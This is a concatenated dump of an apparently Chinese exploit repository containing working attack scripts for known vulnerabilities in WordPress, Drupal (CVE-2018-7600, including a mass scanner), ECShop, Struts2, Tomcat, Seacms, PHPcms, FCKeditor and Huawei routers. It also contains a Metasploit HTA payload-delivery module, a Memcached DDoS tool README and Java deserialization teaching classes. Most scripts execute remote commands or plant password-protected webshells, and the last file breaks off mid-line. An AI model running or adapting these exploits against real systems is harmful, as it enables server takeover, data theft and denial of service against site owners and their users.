/CMS/WordPress/WordPress_v4.8.2/README.md: -------------------------------------------------------------------------------- 1 | # WordPress ≤ 4.8.2 POST META 校验绕过漏洞 2 | ## From 3 | * WordPress post meta data checks bypass[https://hackerone.com/reports/265484](https://hackerone.com/reports/265484) 4 | * WordPress <= 4.8.2 SQL Injection POC[http://blog.vulspy.com/2017/11/09/Wordpress-4-8-2-SQL-Injection-POC/](http://blog.vulspy.com/2017/11/09/Wordpress-4-8-2-SQL-Injection-POC/) 5 | ## POC 6 | ```php 7 | $usr = 'author'; 8 | $pwd = 'author'; 9 | $xmlrpc = 'http://local.target/xmlrpc.php'; 10 | $client = new IXR_Client($xmlrpc); 11 | $content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"xxx")); 12 | $res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content); 13 | ``` 14 | ### 用`%00_`来bypass 15 | 16 | ### STEP 17 | 18 | * Add New Custom Field, Name:_thumbnail_id Value:`55 %1$%s or sleep(10)#` 19 | * Click Add Custom Field button. 20 | * Modify the HTTP request, `_thumbnail_id => %00_thumbnail_id` 21 | * Launch the attack. Visit `/wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55 %1$%s or sleep(10)#.` 22 | -------------------------------------------------------------------------------- /CMS/Drupal/Drupal_CVE-2018-7600_v8.5.0/CVE-2018-7600.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env 2 | import sys 3 | import requests 4 | 5 | print ('################################################################') 6 | print ('# Proof-Of-Concept for CVE-2018-7600') 7 | print ('# by Vitalii Rudnykh') 8 | print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders') 9 | print ('# https://github.com/a2u/CVE-2018-7600') 10 | print ('################################################################') 11 | print ('Provided only for educational or information purposes\n') 12 | print ('a little change by MrSm1th\n') 13 | print ('Usage:python CVE-2018-7600.py id(command)\n') 14 | 15 | target = raw_input('Enter target url (example: https://domain.ltd/): ') 16 | 17 | url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 18 | payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup','mail[#markup]':sys.argv[1]} 19 | 20 | r = requests.post(url, data=payload) 21 | if r.status_code != 200: 22 | sys.exit("Not exploitable") 23 | else: 24 | print r.text 25 | -------------------------------------------------------------------------------- /CMS/Ecshop/Ecshop_2.7.x_3.6.x_RCE/README.md: -------------------------------------------------------------------------------- 1 | # ECShop <= 2.7.x/3.6.x RCE 2 | 3 | 4 | 5 | ## POC 6 | 7 | ``` 8 | curl http://xxx/user.php -d 'action=login&vulnspy=phpinfo();exit;' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca' 9 | ``` 10 | ## GetShell 11 | ``` 12 | curl http://xxx/ecshop/user.php -d "action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" \-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a' 13 | ``` 14 | 15 | **Shell address : http://xxx/ecshop/vulnspy.php password : vulnspy** 16 | -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 João F M Figueiredo 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /struts2/struts2-048-exp/struts2-048.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #coding=utf-8 3 | 4 | ''' 5 | s2-048 poc 6 | ''' 7 | 8 | import urllib 9 | import urllib2 10 | 11 | def post(url, data): 12 | req = urllib2.Request(url) 13 | data = urllib.urlencode(data) 14 | #enable cookie 15 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) 16 | response = opener.open(req, data) 17 | return response.read() 18 | 19 | def main(): 20 | posturl = " " # ------ test-url -------- 21 | data = {'name':"${(#dm=@\u006Fgnl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#ef='echo s2-048-EXISTS').(#iswin=(@\u006Aava.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#efe=(#iswin?{'cmd.exe','/c',#ef}:{'/bin/bash','-c',#ef})).(#p=new \u006Aava.lang.ProcessBuilder(#efe)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}", 'age':'bbb', '__checkbox_bustedBefore':'true', 'description':'ccc'} 22 | res = post(posturl, data)[:100] 23 | if 's2-048-EXISTS' in res: 24 | print posturl, 's2-048 EXISTS' 25 | else: 26 | print posturl, 's2-048 do not EXISTS' 27 | 28 | if __name__ == '__main__': 29 | main() -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/Alien.java: -------------------------------------------------------------------------------- 1 | import java.io.IOException; 2 | 3 | /** 4 | * Classe serializável (implementa serializable) usada no primeiro exemplo 5 | * para destacar os magic methods readObject (invocado automaticamente durante 6 | * a desserializacao de objetos deste tipo) e writeObject (invocado durante a 7 | * serializacao) 8 | * 9 | * ----------------------------------------------------------------------- 10 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: 11 | * https://www.h2hc.com.br/revista/ 12 | * ----------------------------------------------------------------------- 13 | * 14 | * @author @joaomatosf 15 | */ 16 | class Alien implements java.io.Serializable { 17 | 18 | String name; 19 | String source; 20 | 21 | // magic method invocado automaticamente durante a desserializacao 22 | // de objetos deste tipo 23 | private void readObject(java.io.ObjectInputStream in) 24 | throws IOException, ClassNotFoundException { 25 | in.defaultReadObject(); 26 | System.out.println("Deserializing an object of class: "+ getClass().getName()); 27 | } 28 | 29 | // magic method invocado automaticamente durante a serializacao 30 | // de objetos deste tipo 31 | private void writeObject(java.io.ObjectOutputStream out) 32 | throws IOException { 33 | out.defaultWriteObject(); 34 | System.out.println("Serializing an object of class: "+ getClass().getName()); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /CVE_EXP/CVE-2017-11882/PS_shell.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: https://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | 7 | class MetasploitModule < Msf::Exploit::Remote 8 | Rank = NormalRanking 9 | 10 | include Msf::Exploit::Remote::HttpServer 11 | 12 | def initialize(info = {}) 13 | super(update_info(info, 14 | 'Name' => 'Microsoft Office Payload Delivery', 15 | 'Description' => %q{ 16 | This module generates an command to place within 17 | a word document, that when executed, will retrieve a HTA payload 18 | via HTTP from an web server. Currently have not figured out how 19 | to generate a doc. 20 | }, 21 | 'License' => MSF_LICENSE, 22 | 'Arch' => ARCH_X86, 23 | 'Platform' => 'win', 24 | 'Targets' => 25 | [ 26 | ['Automatic', {} ], 27 | ], 28 | 'DefaultTarget' => 0, 29 | )) 30 | end 31 | 32 | def on_request_uri(cli, _request) 33 | print_status("Delivering payload") 34 | p = regenerate_payload(cli) 35 | data = Msf::Util::EXE.to_executable_fmt( 36 | framework, 37 | ARCH_X86, 38 | 'win', 39 | p.encoded, 40 | 'hta-psh', 41 | { :arch => ARCH_X86, :platform => 'win '} 42 | ) 43 | send_response(cli, data, 'Content-Type' => 'application/hta') 44 | end 45 | 46 | 47 | def primer 48 | url = get_uri 49 | print_status("Place the following DDE in an MS document:") 50 | print_line("mshta.exe \"#{url}\"") 51 | end 52 | end 53 | 54 | -------------------------------------------------------------------------------- /CVE_EXP/Memcrashed-DDoS-Exploit/README.md: -------------------------------------------------------------------------------- 1 | # MEMCRASHED DDOS EXPLOIT TOOL 2 | 3 | * Author: [@037](https://twitter.com/037) 4 | 5 | This tool allows you to send forged UDP packets to Memcached servers obtained from Shodan.io 6 | 7 | ### Prerequisites 8 | 9 | The only thing you need installed is Python 3.x 10 | 11 | ``` 12 | apt-get install python3 13 | ``` 14 | 15 | You also require to have Scapy and Shodan modules installed 16 | ``` 17 | pip install scapy 18 | ``` 19 | 20 | ``` 21 | pip install shodan 22 | ``` 23 | 24 | ### Using Shodan API 25 | 26 | This tool requires you to own an upgraded Shodan API 27 | 28 | You may obtain one for free in [Shodan](https://shodan.io/) if you sign up using a .edu email 29 | 30 | ![alt text](https://raw.githubusercontent.com/649/Memcrashed-DDoS-Exploit/master/2.png) 31 | ![alt text](https://raw.githubusercontent.com/649/Memcrashed-DDoS-Exploit/master/1.png) 32 | ![alt text](https://raw.githubusercontent.com/649/Memcrashed-DDoS-Exploit/master/3.png) 33 | ![alt text](https://raw.githubusercontent.com/649/Memcrashed-DDoS-Exploit/master/4.png) 34 | 35 | 36 | ### Using Docker 37 | 38 | ##### [Demo](https://asciinema.org/a/v1AEEa17xzqUfyW4pEIS0JONW) 39 | 40 | You may deploy this tool to the cloud using a light Alpine Docker image. 41 | 42 | > Note: Make sure to explicitly enter 'y' or 'n' to the interactive prompt 43 | 44 | ```bash 45 | git clone https://github.com/649/Memcrashed-DDoS-Exploit.git 46 | cd Memcrashed-DDoS-Exploit 47 | echo "SHODAN_KEY" > api.txt 48 | docker build -t memcrashed . 49 | docker run -it memcrashed 50 | 51 | ``` 52 | 53 | -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/TestSerialize.java: -------------------------------------------------------------------------------- 1 | import java.io.FileOutputStream; 2 | import java.io.IOException; 3 | import java.io.ObjectOutputStream; 4 | /** 5 | * Exemplo simples que demonstra a serializacao nativa de um objeto 6 | * e o salva em um arquivo. Observe que, durante a serializacao, o método 7 | * writeObject da classe Alien (que é o tipo do Objeto sendo serializado) 8 | * é automaticamente invocado. 9 | * 10 | * ----------------------------------------------------------------------- 11 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: 12 | * https://www.h2hc.com.br/revista/ 13 | * ----------------------------------------------------------------------- 14 | * 15 | * **** USAGE **** 16 | * 17 | * Compilando: 18 | * $ javac TestSerialize.java 19 | * 20 | * Executando 21 | * $ java TestSerialize 22 | * 23 | * @author @joaomatosf 24 | */ 25 | public class TestSerialize { 26 | 27 | public static void main(String[] args) 28 | throws IOException { 29 | 30 | // Instancia objeto a ser serializado e atribui 31 | // valores aos seus campos "name" e "source" 32 | Alien ET = new Alien(); 33 | ET.name = "Abu ce taí"; 34 | ET.source = "Andromeda Galaxy"; 35 | 36 | // Cria FileOutputStream para armazenar o objeto serializado em um arquivo 37 | FileOutputStream fos = new FileOutputStream("ET_object.ser"); 38 | ObjectOutputStream oos = new ObjectOutputStream(fos); 39 | oos.writeObject(ET); // <-- Realiza a serializacao 40 | oos.flush(); 41 | oos.close(); 42 | 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /CMS/Seacms/Seacms_v6.54/Seacms_v6.54_exp.py: -------------------------------------------------------------------------------- 1 | #coding = utf8 2 | 3 | #author : Mr5m1th 4 | 5 | #PostData = searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=fwrite(&9[]=fopen('Mr.php','w')&9[]=,''); 6 | import hackhttp 7 | import sys 8 | import requests 9 | def exploit(url): 10 | Url = url + "/search.php" 11 | print "[*]Exploit Url:"+url 12 | raw = '''POST /search.php HTTP/1.1 13 | Host: %s 14 | Proxy-Connection: keep-alive 15 | Content-Length: 22 16 | Cache-Control: max-age=0 17 | Upgrade-Insecure-Requests: 1 18 | User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36 19 | Content-Type: application/x-www-form-urlencoded 20 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 21 | Referer: %s 22 | Accept-Encoding: gzip, deflate, br 23 | Accept-Language: zh-CN,zh;q=0.8 24 | 25 | searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=fwrite(&9[]=fopen('Mr.php','w')&9[]=,''); 26 | '''%(url,Url) 27 | hh = hackhttp.hackhttp() 28 | try: 29 | a,b,c,d,e = hh.http(url = Url ,raw = raw) 30 | except: 31 | print "[-]SomeError Happened!" 32 | if __name__ == '__main__': 33 | url = sys.argv[1] 34 | exploit(url) 35 | s = requests.session() 36 | if s.get(url+"/Mr.php",verify=False).status_code == 200: 37 | print "[*]Exploit Sucess , Shell: "+url+"/Mr.php" 38 | else: 39 | print "[-]Exploit Fail" 40 | 41 | 42 | -------------------------------------------------------------------------------- /Tomcat/Tomcat-7.0.0-7.0.79/Tomcat-CVE-12615.py: -------------------------------------------------------------------------------- 1 | #! -*- coding:utf-8 -*- 2 | import httplib 3 | import sys 4 | import time 5 | body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp 6 | +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
"+excuteCmd(request.getParameter("cmd"))+"
");}else{out.println(":-)");}%>''' 7 | try: 8 | conn = httplib.HTTPConnection(sys.argv[1]) 9 | conn.request(method='OPTIONS', url='/ffffzz') 10 | headers = dict(conn.getresponse().getheaders()) 11 | if 'allow' in headers and \ 12 | headers['allow'].find('PUT') > 0 : 13 | conn.close() 14 | conn = httplib.HTTPConnection(sys.argv[1]) 15 | url = "/" + str(int(time.time()))+'.jsp/' 16 | #url = "/" + str(int(time.time()))+'.jsp::$DATA' 17 | conn.request( method='PUT', url= url, body=body) 18 | res = conn.getresponse() 19 | if res.status == 201 : 20 | #print 'shell:', 'http://' + sys.argv[1] + url[:-7] 21 | print 'shell:', 'http://' + sys.argv[1] + url[:-1] 22 | elif res.status == 204 : 23 | print 'file exists' 24 | else: 25 | print 'error' 26 | conn.close() 27 | else: 28 | print 'Server not vulnerable' 29 | 30 | except Exception,e: 31 | print 'Error:', e -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/TestDeserialize.java: -------------------------------------------------------------------------------- 1 | import java.io.*; 2 | /** 3 | * Exemplo simples que demonstra a desserialização nativa de um objeto 4 | * salvo em um arquivo. Observe que, durante a desserialização, o método 5 | * readObject da classe Alien (que é o tipo do Objeto sendo desserializado) 6 | * é automaticamente invocado - por isso, chamado de magic method. 7 | * 8 | * ----------------------------------------------------------------------- 9 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: 10 | * https://www.h2hc.com.br/revista/ 11 | * ----------------------------------------------------------------------- * 12 | * 13 | * **** USAGE **** 14 | * 15 | * Compilando: 16 | * $ javac TestDeserialize.java 17 | * 18 | * Executando 19 | * $ java TestDeserialize 20 | * 21 | * OBS: lembre de executar o exemplo TestSerialize antes, de forma 22 | * a gerar o objeto serializado no arquivo (ET_object.ser), que 23 | * será desserializado por este exemplo. 24 | * 25 | * 26 | * @author @joaomatosf 27 | */ 28 | public class TestDeserialize { 29 | 30 | public static void main(String[] args) 31 | throws IOException, ClassNotFoundException { 32 | // Obtem stream de bytes a partir do arquivo salvo em disco 33 | FileInputStream fis = new FileInputStream("ET_object.ser"); 34 | ObjectInputStream ois = new ObjectInputStream(fis); 35 | // Realiza a desserialização! Nesse momento, os magic methods da classe 36 | // Alien serão automaticamente invocados! (ie. readObject) 37 | Alien ET = (Alien) ois.readObject(); // <-- Realiza a desserializacao 38 | System.out.println("Hi, I'm "+ET.name+" from "+ET.source); 39 | 40 | } 41 | } 42 | 43 | -------------------------------------------------------------------------------- /struts2/struts2-045-exp/struts2-045.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | import urllib2,sys 3 | from poster.encode import multipart_encode 4 | from poster.streaminghttp import register_openers 5 | cmd= sys.argv[2] 6 | # cd webapps\\ROOT & dir 7 | def main(): 8 | register_openers() 9 | datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) 10 | header["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0" 11 | header["Accept"]="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" 12 | header['Host']="www.okii.com" 13 | header['Accept-Language']="zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3" 14 | header["Content-Type"]='''%{(#nike='multipart/form-data'). 15 | (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). 16 | (#_memberAccess?(#_memberAccess=#dm): 17 | ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). 18 | (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). 19 | (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()). 20 | (#context.setMemberAccess(#dm)))).(#cmd=' '''+cmd+''' '). 21 | (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). 22 | (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). 23 | (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)). 24 | (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse(). 25 | getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). 26 | (#ros.flush())}''' 27 | request = urllib2.Request(str(sys.argv[1]),datagen,headers=header) 28 | response = urllib2.urlopen(request) 29 | print response.read() 30 | 31 | if __name__ == '__main__': 32 | main() -------------------------------------------------------------------------------- /CVE_EXP/CVE-2017-17215/CVE-2017-17215.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | 4 | url_in = sys.argv[1] 5 | payload_url = url_in + "/ctrlt/DeviceUpgrade_1" 6 | payload_header = {'content-type': 'text/xml'} 7 | 8 | 9 | def payload_command (command_in): 10 | html_escape_table = { 11 | "&": "&", 12 | '"': """, 13 | "'": "'", 14 | ">": ">", 15 | "<": "<", 16 | } 17 | command_filtered = ""+"".join(html_escape_table.get(c, c) for c in command_in)+"" 18 | payload_1 = "" \ 19 | " " \ 20 | " "\ 21 | " "\ 22 | " $("+command_filtered+" > /tmp/1337g) "\ 23 | " $(cat /tmp/1337g) "\ 24 | " "\ 25 | " " \ 26 | " " 27 | return payload_1 28 | 29 | def do_post(command_in): 30 | result = requests.post(payload_url, payload_command(command_in ),headers = payload_header) 31 | print result.content 32 | 33 | 34 | 35 | 36 | print "***************************************************** \n" \ 37 | "**************** Coded By 1337g ****************** \n" \ 38 | "* CVE-2017-17215 Remote Command Execute EXP * \n" \ 39 | "***************************************************** \n" 40 | 41 | while 1: 42 | command_in = raw_input("Eneter your command here: ") 43 | if command_in == "exit" : exit(0) 44 | do_post(command_in) 45 | -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/SomeInvocationHandler.java: -------------------------------------------------------------------------------- 1 | import java.io.Serializable; 2 | import java.lang.reflect.InvocationHandler; 3 | import java.lang.reflect.Method; 4 | 5 | /** 6 | * Um dos gadgets usados no exemplo didático que demonstra como desviar o 7 | * fluxo de execucão durante a desserialização (utilizando Dynamic Proxy). 8 | * O método invoke() desta classe é alcançado quando o readObject da classe 9 | * ForgottenClass invoca um método em um campo controlado pelo usuário (map.entrySet()) 10 | * O campo irá conter um Proxy entre a interface Map e este InvocationHandler. 11 | * 12 | * ----------------------------------------------------------------------- 13 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: 14 | * https://www.h2hc.com.br/revista/ 15 | * ----------------------------------------------------------------------- 16 | * 17 | * 18 | * @author @joaomatosf 19 | */ 20 | public class SomeInvocationHandler implements InvocationHandler, Serializable { 21 | 22 | private String cmd; 23 | 24 | // metodo invoke não é um magic method (ou seja, *não* é invocado automaticamente 25 | // durante a desserialização. Porém, pode ser alcançado por meio de um Dynamic Proxy. 26 | @Override 27 | public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { 28 | System.out.println("-------------------------------------------"); 29 | System.out.println("Invoke method reached! This method can do something dangerous!"); 30 | Runtime.getRuntime().exec(cmd); 31 | return null; 32 | } 33 | 34 | // magic method invocado automaticamente durante a desserialização de objetos 35 | // deste tipo 36 | private void readObject(java.io.ObjectInputStream s) 37 | throws java.io.IOException, ClassNotFoundException { 38 | s.defaultReadObject(); 39 | System.out.println("-------------------------------------------"); 40 | System.out.println("The flow is in SomeInvocationHandler.readObject()"); 41 | } 42 | } -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ForgottenClass.java: -------------------------------------------------------------------------------- 1 | import java.io.IOException; 2 | import java.io.Serializable; 3 | import java.util.Map; 4 | 5 | /** 6 | * Um dos gadgets usados no exemplo didático que demonstra como desviar o 7 | * fluxo de execucão durante a desserialização (utilizando Dynamic Proxy). 8 | * Esse gatget invoca um método de um campo (map.entrySet()) e, por isso, 9 | * pode ser usado como trampolim para o método invoke() de classes que implementem 10 | * InvocationHandler. No exemplo da revista, o fluxo será desviado para a classe 11 | * SomeInvocationHandler, que contém um código que se deseja alcançar. 12 | * 13 | * ----------------------------------------------------------------------- 14 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: 15 | * https://www.h2hc.com.br/revista/ 16 | * ----------------------------------------------------------------------- 17 | * 18 | * @author @joaomatosf 19 | */ 20 | public class ForgottenClass implements Serializable { 21 | 22 | private Map map; 23 | 24 | // magic method executado automaticamente durante a desserializacao 25 | // de objetos deste tipo. Repare que é acessado um método de um camop 26 | // controlado pelos usuários (map.entrySet()) 27 | private void readObject(java.io.ObjectInputStream in) 28 | throws IOException, ClassNotFoundException{ 29 | in.defaultReadObject(); 30 | System.out.println("-------------------------------------------"); 31 | System.out.println("The flow is in ForgottenClass.readObject()"); 32 | map.entrySet(); 33 | } 34 | 35 | // outro magic method invocado automaticamente durante a desserialização 36 | private Object readResolve(){ 37 | System.out.println("-------------------------------------------"); 38 | System.out.println("The flow is in the ForgottenClass.readResolve()"); 39 | return null; 40 | } 41 | 42 | // método qualquer, que não é invocado durante a desserialização. 43 | private void anotherMethod(){ 44 | System.out.println("The flow is in ForgottenClass.anotherMethod()"); 45 | } 46 | } -------------------------------------------------------------------------------- /FCKeditor/FCKeditor_2.6.3/exp_fckeditor_2.6.3.php: -------------------------------------------------------------------------------- 1 | '."\n"; 45 | $payload .= "-----------------------------265001916915724--\r\n"; 46 | $packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";//print $packet; 47 | $packet .= "Host: {$host}\r\n"; 48 | $packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n"; 49 | $packet .= "Content-Length: ".strlen($payload)."\r\n"; 50 | $packet .= "Connection: close\r\n\r\n"; 51 | $packet .= $payload; 52 | print $packet; 53 | if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n"); 54 | else print "\n[-] Job done! try http://${host}/$match[2] \n"; 55 | ?> 56 | -------------------------------------------------------------------------------- /CMS/PHPcms/v9.6.0/php_v9.6.0_getshell.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | import requests 3 | import sys 4 | from datetime import datetime 5 | def getTime(): 6 | year = str(datetime.now().year) 7 | month = "%02d" % datetime.now().month 8 | day = "%02d" % datetime.now().day 9 | hour = datetime.now().hour 10 | hour = hour - 12 if hour > 12 else hour 11 | hour = "%02d" % hour 12 | minute = "%02d" % datetime.now().minute 13 | second = "%02d" % datetime.now().second 14 | microsecond = "%06d" % datetime.now().microsecond 15 | microsecond = microsecond[:3] 16 | nowTime = year + month + day + hour + minute + second + microsecond 17 | return int(nowTime), year + "/" + month + day + "/" 18 | def main(): 19 | if len(sys.argv) < 2: 20 | print("[*]Usage : Python 1.py http://xxx.com") 21 | sys.exit() 22 | host = sys.argv[1] 23 | url = host + "/index.php?m=member&c=index&a=register&siteid=1" 24 | data = { 25 | "siteid": "1", 26 | "modelid": "1", 27 | "username": "dsakkfaffdssdudi", 28 | "password": "123456", 29 | "email": "dsakkfddsjdi@qq.com", 30 | # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0 31 | "info[content]": "", #密码 akkuman 32 | "dosubmit": "1", 33 | "protocol": "", 34 | } 35 | try: 36 | startTime, _ = getTime() 37 | htmlContent = requests.post(url, data=data) 38 | finishTime, dateUrl = getTime() 39 | if "MySQL Error" in htmlContent.text and "http" in htmlContent.text: 40 | successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php" 41 | print("[*]Shell : %s" % successUrl) 42 | else: 43 | print("[-]Notice : writing remoteShell successfully, but failing to get the echo. You can wait the program crawl the uploadfile(in 1-3 second),or re-run the program after modifying value of username and email.\n") 44 | successUrl = "" 45 | for t in range(startTime, finishTime): 46 | checkUrlHtml = requests.get( 47 | host + "/uploadfile/" + dateUrl + str(t) + ".php") 48 | if checkUrlHtml.status_code == 200: 49 | successUrl = host + "/uploadfile/" + \ 50 | dateUrl + str(t) + ".php" 51 | print("[*]Shell : %s" % successUrl) 52 | break 53 | if successUrl == "": 54 | print( 55 | "[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n") 56 | except: 57 | print("Request Error") 58 | if __name__ == '__main__': 59 | main() -------------------------------------------------------------------------------- /CMS/Drupal/Drupal_CVE-2018-7600_v8.5.0/CVE-2018-7600plus.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import requests 4 | import threading 5 | import Queue 6 | import sys 7 | import time 8 | import argparse 9 | import os 10 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 11 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 12 | 13 | 14 | #Drupal Drupalgeddon 2 15 | #(SA-CORE-2018-002 / CVE-2018-7600) 16 | #Exploit by Dan Sharvit - (Shlacky) - Cynoia.com linkedin.com/in/dansharv 17 | #https://github.com/sl4cky/CVE-2018-7600 18 | #mass vulnerability checker 19 | 20 | 21 | G = '\033[92m' # green 22 | Y = '\033[93m' # yellow 23 | B = '\033[94m' # blue 24 | R = '\033[91m' # red 25 | W = '\033[0m' # white 26 | 27 | def parse_args(): 28 | # parse the arguments 29 | parser = argparse.ArgumentParser(epilog='') 30 | parser._optionals.title = "OPTIONS" 31 | parser.add_argument('-f', '--file', help="file with urls to test", required=True) 32 | parser.add_argument('-o', '--output', help="output to write vulnerable servers", required=False) 33 | parser.add_argument('-t', '--threads', help="amount of threads", required=False, default=10) 34 | return parser.parse_args() 35 | 36 | 37 | class exploit(threading.Thread): 38 | 39 | def __init__(self,queue): 40 | threading.Thread.__init__(self) 41 | self.queue = queue 42 | 43 | 44 | def write_to_file(self,url): 45 | with open(output,'a+') as f: 46 | f.write(url + "\n") 47 | f.close() 48 | 49 | 50 | def check_url(self,url): 51 | target_url = "{}/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax".format(url) 52 | try: 53 | r = requests.post(target_url, headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}, data={"form_id": "user_register_form", 